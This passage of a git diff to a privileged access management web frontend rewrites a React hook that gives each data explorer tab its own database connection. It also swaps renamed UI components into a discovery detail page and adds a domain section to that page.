     fetchSchemas,
     fetchTables,
     fetchTableDetail,
diff --git a/frontend/src/pages/pam/PamDataExplorerPage/use-query-tabs.ts b/frontend/src/pages/pam/PamDataExplorerPage/use-query-tabs.ts
index 878cb968a39..5d488a827a1 100644
--- a/frontend/src/pages/pam/PamDataExplorerPage/use-query-tabs.ts
+++ b/frontend/src/pages/pam/PamDataExplorerPage/use-query-tabs.ts
@@ -1,69 +1,308 @@
-import { useState } from "react";
+import { useCallback, useRef, useState } from "react";
 
-export type QueryTab = {
+import { createNotification } from "@app/components/notifications";
+
+import type { TableDetail } from "./data-explorer-types";
+
+type TabBase = {
   id: string;
+  connectionId: string;
+  backendPid: number | null;
+  isInTransaction: boolean;
+  lastFocusedAt: number;
+  isDead?: boolean;
+};
+
+type BrowseTab = TabBase & {
+  kind: "browse";
+  title: string;
+  schema: string;
+  table: string;
+  tableDetail: TableDetail | null;
+  isLoadingDetail: boolean;
+};
+
+export type QueryTab = TabBase & {
+  kind: "query";
   title: string;
   sql: string;
 };
 
-type TabState = {
-  tabs: QueryTab[];
-  activeTabId: string;
-  nextTabNumber: number;
+type Tab = BrowseTab | QueryTab;
+
+const MAX_TABS = 20;
+
+type UseQueryTabsOptions = {
+  openConnection: () => Promise<{ connectionId: string; backendPid: number | null }>;
+  closeConnection: (connectionId: string) => void;
+  fetchTableDetail: (
+    connectionId: string,
+    schema: string,
+    table: string
+  ) => Promise<{ detail: TableDetail; transactionOpen: boolean }>;
 };
 
-export const BROWSE_TAB_ID = "browse";
-const MAX_QUERY_TABS = 20;
+export const useQueryTabs = ({
+  openConnection,
+  closeConnection,
+  fetchTableDetail
+}: UseQueryTabsOptions) => {
+  const [tabs, setTabs] = useState<Tab[]>([]);
+  const [activeTabId, setActiveTabId] = useState<string | null>(null);
+  const [isOpeningTab, setIsOpeningTab] = useState(false);
+  const nextQueryNumberRef = useRef(1);
+
+  const atTabLimit = tabs.length >= MAX_TABS;
 
-const DEFAULT_STATE: TabState = { tabs: [], activeTabId: BROWSE_TAB_ID, nextTabNumber: 1 };
+  const guardLimit = useCallback((): boolean => {
+    if (tabs.length >= MAX_TABS) {
+      createNotification({
+        title: "Tab limit reached",
+        text: `Maximum ${MAX_TABS} tabs open. Close one to open another.`,
+        type: "warning"
+      });
+      return false;
+    }
+    return true;
+  }, [tabs.length]);
 
-export function useQueryTabs() {
-  const [state, setState] = useState<TabState>(DEFAULT_STATE);
+  // Shared shell for openQueryTab / openBrowseTab: enforces the tab-count cap,
+  // toggles the spinner, asks the BE for a new connection, and surfaces any
+  // failure as a toast. Returns null if the caller should bail out.
+  const acquireTabConnection = useCallback(async (): Promise<{
+    connectionId: string;
+    backendPid: number | null;
+  } | null> => {
+    if (!guardLimit()) return null;
+    setIsOpeningTab(true);
+    try {
+      return await openConnection();
+    } catch (err) {
+      createNotification({
+        title: "Failed to open tab",
+        text: err instanceof Error ? err.message : "Unknown error",
+        type: "error"
+      });
+      return null;
+    } finally {
+      setIsOpeningTab(false);
+    }
+  }, [openConnection, guardLimit]);
 
-  const addTab = () => {
-    setState((prev) => {
-      if (prev.tabs.length >= MAX_QUERY_TABS) return prev;
-      const newTab: QueryTab = {
-        id: crypto.randomUUID(),
-        title: `Query ${prev.nextTabNumber}`,
+  const openQueryTab = useCallback(async (): Promise<string | null> => {
+    const conn = await acquireTabConnection();
+    if (!conn) return null;
+    const id = crypto.randomUUID();
+    const title = `Query ${nextQueryNumberRef.current}`;
+    nextQueryNumberRef.current += 1;
+    setTabs((prev) => [
+      ...prev,
+      {
+        kind: "query",
+        id,
+        connectionId: conn.connectionId,
+        backendPid: conn.backendPid,
+        isInTransaction: false,
+        lastFocusedAt: Date.now(),
+        title,
         sql: ""
-      };
-      return {
-        tabs: [...prev.tabs, newTab],
-        activeTabId: newTab.id,
-        nextTabNumber: prev.nextTabNumber + 1
-      };
-    });
-  };
+      }
+    ]);
+    setActiveTabId(id);
+    return id;
+  }, [acquireTabConnection]);
 
-  const closeTab = (id: string) => {
-    setState((prev) => {
-      const idx = prev.tabs.findIndex((t) => t.id === id);
-      const newTabs = prev.tabs.filter((t) => t.id !== id);
-      const newActiveId =
-        prev.activeTabId === id
-          ? (newTabs[idx - 1]?.id ?? newTabs[0]?.id ?? BROWSE_TAB_ID)
-          : prev.activeTabId;
-      return { ...prev, tabs: newTabs, activeTabId: newActiveId };
-    });
-  };
+  const openBrowseTab = useCallback(
+    async (
+      schema: string,
+      table: string,
+      { forceNew }: { forceNew: boolean }
+    ): Promise<string | null> => {
+      if (!forceNew) {
+        const matches = tabs.filter(
+          (t): t is BrowseTab =>
+            t.kind === "browse" && t.schema === schema && t.table === table && !t.isDead
+        );
+        if (matches.length > 0) {
+          const focus = matches.reduce((a, b) => (a.lastFocusedAt >= b.lastFocusedAt ? a : b));
+          setActiveTabId(focus.id);
+          setTabs((prev) =>
+            prev.map((t) => (t.id === focus.id ? { ...t, lastFocusedAt: Date.now() } : t))
+          );
+          return focus.id;
+        }
+      }
 
-  const setActiveTab = (id: string) => setState((prev) => ({ ...prev, activeTabId: id }));
+      const conn = await acquireTabConnection();
+      if (!conn) return null;
+      const id = crypto.randomUUID();
 
-  const updateTabSql = (id: string, sql: string) => {
-    setState((prev) => ({
-      ...prev,
-      tabs: prev.tabs.map((t) => (t.id === id ? { ...t, sql } : t))
-    }));
-  };
+      // Optimistic push with isLoadingDetail: true — the grid shows a skeleton
+      // until fetchTableDetail resolves.
+      setTabs((prev) => [
+        ...prev,
+        {
+          kind: "browse",
+          id,
+          connectionId: conn.connectionId,
+          backendPid: conn.backendPid,
+          isInTransaction: false,
+          lastFocusedAt: Date.now(),
+          title: `${schema}.${table}`,
+          schema,
+          table,
+          tableDetail: null,
+          isLoadingDetail: true
+        }
+      ]);
+      setActiveTabId(id);
+
+      // Fire the detail fetch off the critical open path.
+      (async () => {
+        try {
+          const { detail, transactionOpen } = await fetchTableDetail(
+            conn.connectionId,
+            schema,
+            table
+          );
+          setTabs((prev) =>
+            prev.map((t) =>
+              t.id === id && t.kind === "browse"
+                ? {
+                    ...t,
+                    tableDetail: detail,
+                    isLoadingDetail: false,
+                    isInTransaction: transactionOpen
+                  }
+                : t
+            )
+          );
+        } catch (err) {
+          setTabs((prev) =>
+            prev.map((t) =>
+              t.id === id && t.kind === "browse"
+                ? { ...t, isLoadingDetail: false, isDead: true }
+                : t
+            )
+          );
+          createNotification({
+            title: "Failed to load table",
+            text: err instanceof Error ? err.message : "Unknown error",
+            type: "error"
+          });
+        }
+      })().catch(() => {});
+
+      return id;
+    },
+    [acquireTabConnection, fetchTableDetail, tabs]
+  );
+
+  const closeTab = useCallback(
+    (id: string) => {
+      // Side effects (closeConnection + setActiveTabId) are hoisted OUT of
+      // the setTabs updater so StrictMode's double-invoke can't fire the WS
+      // close frame twice. React requires updaters to be pure.
+      const target = tabs.find((t) => t.id === id);
+      if (!target) return;
+      closeConnection(target.connectionId);
+      const remaining = tabs.filter((t) => t.id !== id);
+      if (activeTabId === id) {
+        // Activate the most recently focused remaining tab, if any.
+        const nextActive =
+          remaining.length > 0
+            ? remaining.reduce((a, b) => (a.lastFocusedAt >= b.lastFocusedAt ? a : b)).id
+            : null;
+        setActiveTabId(nextActive);
+      }
+      setTabs(remaining);
+    },
+    [tabs, activeTabId, closeConnection]
+  );
+
+  const setActiveTab = useCallback((id: string) => {
+    setActiveTabId(id);
+    setTabs((prev) => prev.map((t) => (t.id === id ? { ...t, lastFocusedAt: Date.now() } : t)));
+  }, []);
+
+  const updateTabSql = useCallback((id: string, sql: string) => {
+    setTabs((prev) => prev.map((t) => (t.id === id && t.kind === "query" ? { ...t, sql } : t)));
+  }, []);
+
+  const setTabTransactionOpen = useCallback((id: string, open: boolean) => {
+    setTabs((prev) => prev.map((t) => (t.id === id ? { ...t, isInTransaction: open } : t)));
+  }, []);
+
+  // Server pushed connection-closed for this tab's connection — mark it dead
+  // but don't auto-remove. The user sees an error state and can close manually.
+  const markConnectionDead = useCallback((connectionId: string) => {
+    setTabs((prev) =>
+      prev.map((t) => (t.connectionId === connectionId ? { ...t, isDead: true } : t))
+    );
+  }, []);
+
+  // Reconnect flow — drop all tabs, reset next-query counter.
+  const resetTabs = useCallback(() => {
+    setTabs([]);
+    setActiveTabId(null);
+    nextQueryNumberRef.current = 1;
+  }, []);
+
+  const refreshBrowseTab = useCallback(
+    async (id: string) => {
+      const target = tabs.find((t) => t.id === id);
+      if (!target || target.kind !== "browse") return;
+      setTabs((prev) =>
+        prev.map((t) => (t.id === id && t.kind === "browse" ? { ...t, isLoadingDetail: true } : t))
+      );
+      try {
+        const { detail, transactionOpen } = await fetchTableDetail(
+          target.connectionId,
+          target.schema,
+          target.table
+        );
+        setTabs((prev) =>
+          prev.map((t) =>
+            t.id === id && t.kind === "browse"
+              ? {
+                  ...t,
+                  tableDetail: detail,
+                  isLoadingDetail: false,
+                  isInTransaction: transactionOpen
+                }
+              : t
+          )
+        );
+      } catch (err) {
+        setTabs((prev) =>
+          prev.map((t) =>
+            t.id === id && t.kind === "browse" ? { ...t, isLoadingDetail: false } : t
+          )
+        );
+        createNotification({
+          title: "Failed to refresh table",
+          text: err instanceof Error ? err.message : "Unknown error",
+          type: "error"
+        });
+      }
+    },
+    [tabs, fetchTableDetail]
+  );
 
   return {
-    tabs: state.tabs,
-    activeTabId: state.activeTabId,
-    atTabLimit: state.tabs.length >= MAX_QUERY_TABS,
-    addTab,
+    tabs,
+    activeTabId,
+    atTabLimit,
+    isOpeningTab,
+    openQueryTab,
+    openBrowseTab,
     closeTab,
     setActiveTab,
-    updateTabSql
+    updateTabSql,
+    setTabTransactionOpen,
+    markConnectionDead,
+    resetTabs,
+    refreshBrowseTab,
+    MAX_TABS
   };
-}
+};
diff --git a/frontend/src/pages/pam/PamDiscoveryDetailPage/PamDiscoveryDetailPage.tsx b/frontend/src/pages/pam/PamDiscoveryDetailPage/PamDiscoveryDetailPage.tsx
index 4ef0ac44864..1464ce117d2 100644
--- a/frontend/src/pages/pam/PamDiscoveryDetailPage/PamDiscoveryDetailPage.tsx
+++ b/frontend/src/pages/pam/PamDiscoveryDetailPage/PamDiscoveryDetailPage.tsx
@@ -20,42 +20,41 @@ import { createNotification } from "@app/components/notifications";
 import { ProjectPermissionCan } from "@app/components/permissions";
 import { DeleteActionModal, Tab, TabList, TabPanel, Tabs } from "@app/components/v2";
 import {
+  Alert,
+  AlertDescription,
+  AlertTitle,
   Badge,
   Button,
+  Card,
+  CardContent,
+  CardHeader,
   Detail,
   DetailLabel,
   DetailValue,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
+  PageLoader,
+  Pagination,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableAlert,
-  UnstableAlertDescription,
-  UnstableAlertTitle,
-  UnstableCard,
-  UnstableCardContent,
-  UnstableCardHeader,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableEmpty,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstablePageLoader,
-  UnstablePagination,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  TooltipTrigger
 } from "@app/components/v3";
 import { ProjectPermissionSub, useOrganization } from "@app/context";
 import { ProjectPermissionPamDiscoveryActions } from "@app/context/ProjectPermissionContext/types";
 import { usePagination } from "@app/hooks";
 import { gatewaysQueryKeys } from "@app/hooks/api";
-import { PamResourceType } from "@app/hooks/api/pam";
 import type {
   TPamDiscoverySource,
   TPamDiscoverySourceRunProgress
@@ -70,6 +69,7 @@ import {
   useListPamDiscoverySourceRuns,
   useTriggerPamDiscoveryScan
 } from "@app/hooks/api/pamDiscovery";
+import { PAM_DOMAIN_TYPE_MAP, PamDomainType, useListPamDomains } from "@app/hooks/api/pamDomain";
 
 import { PamUpdateDiscoverySourceModal } from "../PamDiscoveryPage/components/PamUpdateDiscoverySourceModal";
 
@@ -99,9 +99,9 @@ const DiscoveryDetailsSection = ({
           a={ProjectPermissionSub.PamDiscovery}
         >
           {(isAllowed) => (
-            <UnstableIconButton variant="ghost" size="xs" onClick={onEdit} isDisabled={!isAllowed}>
+            <IconButton variant="ghost" size="xs" onClick={onEdit} isDisabled={!isAllowed}>
               <PencilIcon />
-            </UnstableIconButton>
+            </IconButton>
           )}
         </ProjectPermissionCan>
       </div>
@@ -154,9 +154,9 @@ const DiscoveryConfigurationSection = ({
           a={ProjectPermissionSub.PamDiscovery}
         >
           {(isAllowed) => (
-            <UnstableIconButton variant="ghost" size="xs" onClick={onEdit} isDisabled={!isAllowed}>
+            <IconButton variant="ghost" size="xs" onClick={onEdit} isDisabled={!isAllowed}>
               <PencilIcon />
-            </UnstableIconButton>
+            </IconButton>
           )}
         </ProjectPermissionCan>
       </div>
@@ -246,9 +246,9 @@ const DiscoveryCredentialsSection = ({
           a={ProjectPermissionSub.PamDiscovery}
         >
           {(isAllowed) => (
-            <UnstableIconButton variant="ghost" size="xs" onClick={onEdit} isDisabled={!isAllowed}>
+            <IconButton variant="ghost" size="xs" onClick={onEdit} isDisabled={!isAllowed}>
               <PencilIcon />
-            </UnstableIconButton>
+            </IconButton>
           )}
         </ProjectPermissionCan>
       </div>
@@ -266,6 +266,72 @@ const DiscoveryCredentialsSection = ({
   );
 };
 
+const DiscoveryDomainSection = ({
+  source,
+  projectId,
+  orgId
+}: {
+  source: TPamDiscoverySource;
+  projectId: string;
+  orgId: string;
+}) => {
+  const navigate = useNavigate();
+  const domainFQDN = source.discoveryConfiguration?.domainFQDN as string | undefined;
+  const fingerprint = domainFQDN?.toLowerCase();
+
+  const { data: domainsData } = useListPamDomains({
+    projectId,
+    discoveryFingerprint: fingerprint
+  });
+
+  const domain = domainsData?.domains[0];
+
+  const domainTypeInfo = domain
+    ? PAM_DOMAIN_TYPE_MAP[domain.domainType as keyof typeof PAM_DOMAIN_TYPE_MAP]
+    : null;
+
+  return (
+    <div className="flex w-full flex-col gap-3 rounded-lg border border-border bg-container px-4 py-3">
+      <div className="border-b border-border pb-2">
+        <h3 className="text-lg font-medium">Domain</h3>
+      </div>
+      {domain ? (
+        <button
+          type="button"
+          className="flex items-center gap-3 rounded-md p-2 text-left transition-colors hover:bg-mineshaft-700"
+          onClick={() =>
+            navigate({
+              to: "/organizations/$orgId/projects/pam/$projectId/domains/$domainType/$domainId",
+              params: {
+                orgId,
+                projectId,
+                domainType: domain.domainType,
+                domainId: domain.id
+              }
+            })
+          }
+        >
+          {domainTypeInfo?.image && (
+            <img
+              alt={domainTypeInfo.name}
+              src={`/images/integrations/${domainTypeInfo.image}`}
+              className="size-6"
+            />
+          )}
+          <div>
+            <p className="text-sm font-medium text-mineshaft-100">{domain.name}</p>
+            <p className="text-xs text-muted">{domainTypeInfo?.name}</p>
+          </div>
+        </button>
+      ) : (
+        <p className="text-sm text-muted">
+          No domain has been created yet. Run a scan to automatically create the domain.
+        </p>
+      )}
+    </div>
+  );
+};
+
 const formatDuration = (startedAt?: string | null, completedAt?: string | null): string => {
   if (!startedAt) return "-";
   const end = completedAt ? new Date(completedAt) : new Date();
@@ -418,7 +484,7 @@ const RunsTab = ({
     discoverySourceId,
     discoveryType,
     { offset, limit: perPage },
-    { refetchInterval: isPolling ? 3000 : false }
+    { refetchInterval: isPolling ? 10_000 : false }
   );
 
   const runs = data?.runs || [];
@@ -444,46 +510,46 @@ const RunsTab = ({
   return (
     <div>
       {discoveryType === PamDiscoveryType.ActiveDirectory && isDependencyDiscoveryDisabled && (
-        <UnstableAlert variant="org" className="mb-4">
+        <Alert variant="org" className="mb-4">
           <InfoIcon />
-          <UnstableAlertTitle>Dependency discovery is disabled</UnstableAlertTitle>
-          <UnstableAlertDescription>
+          <AlertTitle>Dependency discovery is disabled</AlertTitle>
+          <AlertDescription>
             Windows Services, Scheduled Tasks, and IIS App Pools will not be discovered. Enable
             &quot;Discover Dependencies&quot; in the source configuration to scan for dependencies
-          </UnstableAlertDescription>
-        </UnstableAlert>
+          </AlertDescription>
+        </Alert>
       )}
-      <UnstableTable>
-        <UnstableTableHeader>
-          <UnstableTableRow>
-            <UnstableTableHead className="w-8" />
-            <UnstableTableHead>Started</UnstableTableHead>
-            <UnstableTableHead>Duration</UnstableTableHead>
-            <UnstableTableHead>Triggered By</UnstableTableHead>
-            <UnstableTableHead>Status</UnstableTableHead>
-            <UnstableTableHead>Resources</UnstableTableHead>
-            <UnstableTableHead>Accounts</UnstableTableHead>
-            <UnstableTableHead>Dependencies</UnstableTableHead>
-          </UnstableTableRow>
-        </UnstableTableHeader>
-        <UnstableTableBody>
+      <Table>
+        <TableHeader>
+          <TableRow>
+            <TableHead className="w-8" />
+            <TableHead>Started</TableHead>
+            <TableHead>Duration</TableHead>
+            <TableHead>Triggered By</TableHead>
+            <TableHead>Status</TableHead>
+            <TableHead>Resources</TableHead>
+            <TableHead>Accounts</TableHead>
+            <TableHead>Dependencies</TableHead>
+          </TableRow>
+        </TableHeader>
+        <TableBody>
           {isPending && (
-            <UnstableTableRow>
-              <UnstableTableCell colSpan={COL_COUNT} className="text-center text-muted">
+            <TableRow>
+              <TableCell colSpan={COL_COUNT} className="text-center text-muted">
                 Loading runs...
-              </UnstableTableCell>
-            </UnstableTableRow>
+              </TableCell>
+            </TableRow>
           )}
           {!isPending && runs.length === 0 && (
-            <UnstableTableRow>
-              <UnstableTableCell colSpan={COL_COUNT}>
-                <UnstableEmpty className="border-0 bg-transparent py-8 shadow-none">
-                  <UnstableEmptyHeader>
-                    <UnstableEmptyTitle>No discovery runs yet</UnstableEmptyTitle>
-                  </UnstableEmptyHeader>
-                </UnstableEmpty>
-              </UnstableTableCell>
-            </UnstableTableRow>
+            <TableRow>
+              <TableCell colSpan={COL_COUNT}>
+                <Empty className="border-0 bg-transparent py-8 shadow-none">
+                  <EmptyHeader>
+                    <EmptyTitle>No discovery runs yet</EmptyTitle>
+                  </EmptyHeader>
+                </Empty>
+              </TableCell>
+            </TableRow>
           )}
           {!isPending &&
             runs.map((run) => {
@@ -496,43 +562,41 @@ const RunsTab = ({
 
               return (
                 <>
-                  <UnstableTableRow
+                  <TableRow
                     key={run.id}
                     className={hasDetails ? "cursor-pointer" : undefined}
                     onClick={
                       hasDetails ? () => setExpandedRunId(isExpanded ? null : run.id) : undefined
                     }
                   >
-                    <UnstableTableCell>
+                    <TableCell>
                       {hasDetails &&
                         (isExpanded ? (
                           <ChevronDownIcon className="size-4 text-muted" />
                         ) : (
                           <ChevronRightIcon className="size-4 text-muted" />
                         ))}
-                    </UnstableTableCell>
-                    <UnstableTableCell className="text-muted">
+                    </TableCell>
+                    <TableCell className="text-muted">
                       {run.startedAt ? format(new Date(run.startedAt), "MMM d, yyyy hh:mm a") : "-"}
-                    </UnstableTableCell>
-                    <UnstableTableCell className="text-muted">
+                    </TableCell>
+                    <TableCell className="text-muted">
                       {run.status === "running" && run.startedAt ? (
                         <LiveDuration startedAt={run.startedAt} />
                       ) : (
                         formatDuration(run.startedAt, run.completedAt)
                       )}
-                    </UnstableTableCell>
-                    <UnstableTableCell className="text-muted capitalize">
-                      {run.triggeredBy}
-                    </UnstableTableCell>
-                    <UnstableTableCell>
+                    </TableCell>
+                    <TableCell className="text-muted capitalize">{run.triggeredBy}</TableCell>
+                    <TableCell>
                       <Badge
                         variant={STATUS_BADGE_MAP[run.status] || "info"}
                         className={run.status === "running" ? "animate-pulse" : undefined}
                       >
                         {run.status}
                       </Badge>
-                    </UnstableTableCell>
-                    <UnstableTableCell>
+                    </TableCell>
+                    <TableCell>
                       <Tooltip>
                         <TooltipTrigger asChild>
                           <span>
@@ -561,8 +625,8 @@ const RunsTab = ({
                           )}
                         </TooltipContent>
                       </Tooltip>
-                    </UnstableTableCell>
-                    <UnstableTableCell>
+                    </TableCell>
+                    <TableCell>
                       <Tooltip>
                         <TooltipTrigger asChild>
                           <span>
@@ -585,8 +649,8 @@ const RunsTab = ({
                           )}
                         </TooltipContent>
                       </Tooltip>
-                    </UnstableTableCell>
-                    <UnstableTableCell>
+                    </TableCell>
+                    <TableCell>
                       <Tooltip>
                         <TooltipTrigger asChild>
                           <span>
@@ -615,25 +679,25 @@ const RunsTab = ({
                           )}
                         </TooltipContent>
                       </Tooltip>
-                    </UnstableTableCell>
-                  </UnstableTableRow>
+                    </TableCell>
+                  </TableRow>
                   {isExpanded && (
-                    <UnstableTableRow key={`${run.id}-expanded`}>
-                      <UnstableTableCell colSpan={COL_COUNT} className="p-0">
+                    <TableRow key={`${run.id}-expanded`}>
+                      <TableCell colSpan={COL_COUNT} className="p-0">
                         <RunExpandedContent
                           progress={run.progress}
                           errorMessage={run.errorMessage}
                         />
-                      </UnstableTableCell>
-                    </UnstableTableRow>
+                      </TableCell>
+                    </TableRow>
                   )}
                 </>
               );
             })}
-        </UnstableTableBody>
-      </UnstableTable>
+        </TableBody>
+      </Table>
       {Boolean(totalCount) && !isPending && (
-        <UnstablePagination
+        <Pagination
           count={totalCount}
           page={page}
           perPage={perPage}
@@ -670,39 +734,39 @@ const ResourcesTab = ({
 
   return (
     <div>
-      <UnstableTable>
-        <UnstableTableHeader>
-          <UnstableTableRow>
-            <UnstableTableHead>Name</UnstableTableHead>
-            <UnstableTableHead>Type</UnstableTableHead>
-            <UnstableTableHead>OS Version</UnstableTableHead>
-            <UnstableTableHead>Deps.</UnstableTableHead>
-            <UnstableTableHead>Last Discovered</UnstableTableHead>
-            <UnstableTableHead>Status</UnstableTableHead>
-          </UnstableTableRow>
-        </UnstableTableHeader>
-        <UnstableTableBody>
+      <Table>
+        <TableHeader>
+          <TableRow>
+            <TableHead>Name</TableHead>
+            <TableHead>Type</TableHead>
+            <TableHead>OS Version</TableHead>
+            <TableHead>Deps.</TableHead>
+            <TableHead>Last Discovered</TableHead>
+            <TableHead>Status</TableHead>
+          </TableRow>
+        </TableHeader>
+        <TableBody>
           {isPending && (
-            <UnstableTableRow>
-              <UnstableTableCell colSpan={6} className="text-center text-muted">
+            <TableRow>
+              <TableCell colSpan={6} className="text-center text-muted">
                 Loading resources...
-              </UnstableTableCell>
-            </UnstableTableRow>
+              </TableCell>
+            </TableRow>
           )}
           {!isPending && resources.length === 0 && (
-            <UnstableTableRow>
-              <UnstableTableCell colSpan={6}>
-                <UnstableEmpty className="border-0 bg-transparent py-8 shadow-none">
-                  <UnstableEmptyHeader>
-                    <UnstableEmptyTitle>No discovered resources</UnstableEmptyTitle>
-                  </UnstableEmptyHeader>
-                </UnstableEmpty>
-              </UnstableTableCell>
-            </UnstableTableRow>
+            <TableRow>
+              <TableCell colSpan={6}>
+                <Empty className="border-0 bg-transparent py-8 shadow-none">
+                  <EmptyHeader>
+                    <EmptyTitle>No discovered resources</EmptyTitle>
+                  </EmptyHeader>
+                </Empty>
+              </TableCell>
+            </TableRow>
           )}
           {!isPending &&
             resources.map((resource) => (
-              <UnstableTableRow
+              <TableRow
                 key={resource.id}
                 className="cursor-pointer"
                 onClick={() =>
@@ -717,13 +781,9 @@ const ResourcesTab = ({
                   })
                 }
               >
-                <UnstableTableCell className="font-medium">
-                  {resource.resourceName}
-                </UnstableTableCell>
-                <UnstableTableCell className="text-muted">
-                  {resource.resourceType}
-                </UnstableTableCell>
-                <UnstableTableCell className="text-muted" isTruncatable>
+                <TableCell className="font-medium">{resource.resourceName}</TableCell>
+                <TableCell className="text-muted">{resource.resourceType}</TableCell>
+                <TableCell className="text-muted" isTruncatable>
                   <Tooltip>
                     <TooltipTrigger asChild>
                       <span>{resource.resourceInternalMetadata?.osVersion || "-"}</span>
@@ -734,28 +794,28 @@ const ResourcesTab = ({
                         ` ${resource.resourceInternalMetadata?.osVersionDetail}`}
                     </TooltipContent>
                   </Tooltip>
-                </UnstableTableCell>
-                <UnstableTableCell
+                </TableCell>
+                <TableCell
                   className={resource.dependencyCount ? "text-muted" : "text-mineshaft-500"}
                 >
                   {resource.dependencyCount ?? 0}
-                </UnstableTableCell>
-                <UnstableTableCell className="text-muted">
+                </TableCell>
+                <TableCell className="text-muted">
                   {format(new Date(resource.lastDiscoveredAt), "MMM d, yyyy HH:mm")}
-                </UnstableTableCell>
-                <UnstableTableCell>
+                </TableCell>
+                <TableCell>
                   {resource.isStale ? (
                     <Badge variant="danger">Stale</Badge>
                   ) : (
                     <Badge variant="success">Active</Badge>
                   )}
-                </UnstableTableCell>
-              </UnstableTableRow>
+                </TableCell>
+              </TableRow>
             ))}
-        </UnstableTableBody>
-      </UnstableTable>
+        </TableBody>
+      </Table>
       {Boolean(totalCount) && !isPending && (
-        <UnstablePagination
+        <Pagination
           count={totalCount}
           page={page}
           perPage={perPage}
@@ -792,47 +852,47 @@ const AccountsTab = ({
 
   return (
     <div>
-      <UnstableAlert variant="org" className="mb-4">
+      <Alert variant="org" className="mb-4">
         <InfoIcon />
-        <UnstableAlertTitle>Account passwords must be configured manually</UnstableAlertTitle>
-        <UnstableAlertDescription>
+        <AlertTitle>Account passwords must be configured manually</AlertTitle>
+        <AlertDescription>
           Discovered accounts are auto-imported with empty passwords by default
-        </UnstableAlertDescription>
-      </UnstableAlert>
-      <UnstableTable>
-        <UnstableTableHeader>
-          <UnstableTableRow>
-            <UnstableTableHead>Name</UnstableTableHead>
-            <UnstableTableHead>Resource</UnstableTableHead>
-            <UnstableTableHead>Type</UnstableTableHead>
-            <UnstableTableHead>Deps.</UnstableTableHead>
-            <UnstableTableHead>Last Logon</UnstableTableHead>
-            <UnstableTableHead>Last Discovered</UnstableTableHead>
-            <UnstableTableHead>Status</UnstableTableHead>
-          </UnstableTableRow>
-        </UnstableTableHeader>
-        <UnstableTableBody>
+        </AlertDescription>
+      </Alert>
+      <Table>
+        <TableHeader>
+          <TableRow>
+            <TableHead>Name</TableHead>
+            <TableHead>Resource</TableHead>
+            <TableHead>Type</TableHead>
+            <TableHead>Deps.</TableHead>
+            <TableHead>Last Logon</TableHead>
+            <TableHead>Last Discovered</TableHead>
+            <TableHead>Status</TableHead>
+          </TableRow>
+        </TableHeader>
+        <TableBody>
           {isPending && (
-            <UnstableTableRow>
-              <UnstableTableCell colSpan={7} className="text-center text-muted">
+            <TableRow>
+              <TableCell colSpan={7} className="text-center text-muted">
                 Loading accounts...
-              </UnstableTableCell>
-            </UnstableTableRow>
+              </TableCell>
+            </TableRow>
           )}
           {!isPending && accounts.length === 0 && (
-            <UnstableTableRow>
-              <UnstableTableCell colSpan={7}>
-                <UnstableEmpty className="border-0 bg-transparent py-8 shadow-none">
-                  <UnstableEmptyHeader>
-                    <UnstableEmptyTitle>No discovered accounts</UnstableEmptyTitle>
-                  </UnstableEmptyHeader>
-                </UnstableEmpty>
-              </UnstableTableCell>
-            </UnstableTableRow>
+            <TableRow>
+              <TableCell colSpan={7}>
+                <Empty className="border-0 bg-transparent py-8 shadow-none">
+                  <EmptyHeader>
+                    <EmptyTitle>No discovered accounts</EmptyTitle>
+                  </EmptyHeader>
+                </Empty>
+              </TableCell>
+            </TableRow>
           )}
           {!isPending &&
             accounts.map((account) => (
-              <UnstableTableRow
+              <TableRow
                 key={account.id}
                 className="cursor-pointer"
                 onClick={() =>
@@ -848,8 +908,8 @@ const AccountsTab = ({
                   })
                 }
               >
-                <UnstableTableCell className="font-medium">{account.accountName}</UnstableTableCell>
-                <UnstableTableCell className="text-muted">
+                <TableCell className="font-medium">{account.accountName}</TableCell>
+                <TableCell className="text-muted">
                   <Tooltip>
                     <TooltipTrigger asChild>
                       <div className="flex max-w-36">
@@ -858,41 +918,41 @@ const AccountsTab = ({
                     </TooltipTrigger>
                     <TooltipContent>{account.resourceName}</TooltipContent>
                   </Tooltip>
-                </UnstableTableCell>
-                <UnstableTableCell>
+                </TableCell>
+                <TableCell>
                   <div className="flex items-center gap-2">
-                    {account.resourceType === PamResourceType.ActiveDirectory && (
+                    {account.resourceType === PamDomainType.ActiveDirectory && (
                       <Badge variant="info">AD</Badge>
                     )}
                     <span className="text-muted capitalize">
                       {account.internalMetadata?.accountType ?? "-"}
                     </span>
                   </div>
-                </UnstableTableCell>
-                <UnstableTableCell
+                </TableCell>
+                <TableCell
                   className={account.dependencyCount ? "text-muted" : "text-mineshaft-500"}
                 >
                   {account.dependencyCount ?? 0}
-                </UnstableTableCell>
-                <UnstableTableCell className="text-muted">
+                </TableCell>
+                <TableCell className="text-muted">
                   {formatIsoDate(account.internalMetadata?.lastLogon)}
-                </UnstableTableCell>
-                <UnstableTableCell className="text-muted">
+                </TableCell>
+                <TableCell className="text-muted">
                   {format(new Date(account.lastDiscoveredAt), "MM/dd/yy, HH:mm")}
-                </UnstableTableCell>
-                <UnstableTableCell>
+                </TableCell>
+                <TableCell>
                   {account.isStale ? (
                     <Badge variant="danger">Stale</Badge>
                   ) : (
                     <Badge variant="success">Active</Badge>
                   )}
-                </UnstableTableCell>
-              </UnstableTableRow>
+                </TableCell>
+              </TableRow>
             ))}
-        </UnstableTableBody>
-      </UnstableTable>
+        </TableBody>
+      </Table>
       {Boolean(totalCount) && !isPending && (
-        <UnstablePagination
+        <Pagination
           count={totalCount}
           page={page}
           perPage={perPage}
@@ -950,20 +1010,20 @@ const PageContent = () => {
   const triggerScanMutation = useTriggerPamDiscoveryScan();
 
   if (isPending) {
-    return <UnstablePageLoader />;
+    return <PageLoader />;
   }
 
   if (!source) {
     return (
       <div className="flex h-full w-full items-center justify-center px-20">
-        <UnstableEmpty className="max-w-2xl">
-          <UnstableEmptyHeader>
